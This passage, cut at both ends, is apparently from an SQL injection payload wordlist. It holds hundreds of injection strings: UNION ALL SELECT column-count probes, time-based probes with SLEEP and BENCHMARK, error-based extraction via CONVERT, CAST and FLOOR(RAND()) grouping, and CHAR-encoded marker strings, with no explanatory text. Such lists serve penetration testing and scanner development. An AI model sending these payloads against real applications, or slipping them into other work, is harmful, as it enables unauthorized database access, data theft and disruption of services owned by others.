1,2,3,4,5,6,7,8,9,10,11,12-- + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13-- + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14-- + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-- + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16-- + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17-- + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18-- + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22-- + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23-- + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24-- + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25-- + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26-- + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27-- + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28-- + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29-- + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30-- + UNION SELECT @@VERSION,SLEEP(5),3 + UNION SELECT @@VERSION,SLEEP(5),USER(),4 + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5 + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6 + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7 + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8 + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9 + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10 + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11 + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12 + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13 + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14 + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15 + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16 + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17 + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18 + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 + UNION SELECT @@VERSION,SLEEP(5),"'3 + UNION SELECT @@VERSION,SLEEP(5),"'3'"# + UNION SELECT @@VERSION,SLEEP(5),USER(),4# + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5# + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6# + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7# + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8# + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9# + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10# + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11# + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12# + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13# + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14# + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15# + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16# + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17# + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18# + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19# + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20# + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21# + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22# + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23# + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24# + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25# + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26# + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27# + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28# + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29# + UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30# + UNION ALL SELECT USER()-- + UNION ALL SELECT SLEEP(5)-- + UNION ALL SELECT USER(),SLEEP(5)-- + UNION ALL SELECT @@VERSION,USER(),SLEEP(5)-- + UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A'))-- + UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL-- + UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL-- + UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL-- + UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL-- + UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL-- + UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL-- + UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- + UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- + UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- + UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- + UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- + UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- + UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- + UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- + UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- + UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- + UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- + UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- + UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- + UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- + UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- + UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- + UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- + UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- + UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- + UNION ALL SELECT NULL-- + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))-- + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))-- + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))-- + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))-- + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))-- + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))-- + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)))-- + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)))-- + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)))-- + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)))-- + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))-- + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)))-- + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))-- + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))-- + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))-- + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))-- + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))-- + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)))-- + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))-- + UNION ALL SELECT NULL# + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))# + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))# + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))# + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))# + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))# + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))# + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)))# + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)))# + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)))# + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)))# + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))# + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)))# + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))# + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))# + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))# + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))# + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))# + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)))# + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))# + UNION ALL SELECT NULL + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88))) + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88))) + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88))) + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88))) + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88))) + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88))) + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88))) + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118))) + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120))) + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80))) + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75))) + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116))) + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69))) + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65))) + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113))) + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112))) + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106))) + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107))) + AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113))) + AND 5650=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (5650=5650) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113))) + AND 3516=CAST((CHR(113)||CHR(106)||CHR(122)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (3516=3516) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(106)||CHR(107)||CHR(113)) AS NUMERIC) + AND (SELECT 4523 FROM(SELECT COUNT(*),CONCAT(0x716a7a6a71,(SELECT (ELT(4523=4523,1))),0x71706a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) + UNION ALL SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(106)+CHAR(113)+CHAR(110)+CHAR(106)+CHAR(99)+CHAR(73)+CHAR(66)+CHAR(109)+CHAR(119)+CHAR(81)+CHAR(108)+CHAR(88)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113),NULL-- + UNION ALL SELECT 'INJ'||'ECT'||'XXX' + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2 + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3 + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4 + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5 + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6 + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7 + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8 + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9 + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10 + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11 + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12 + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13 + UNION ALL SELECT 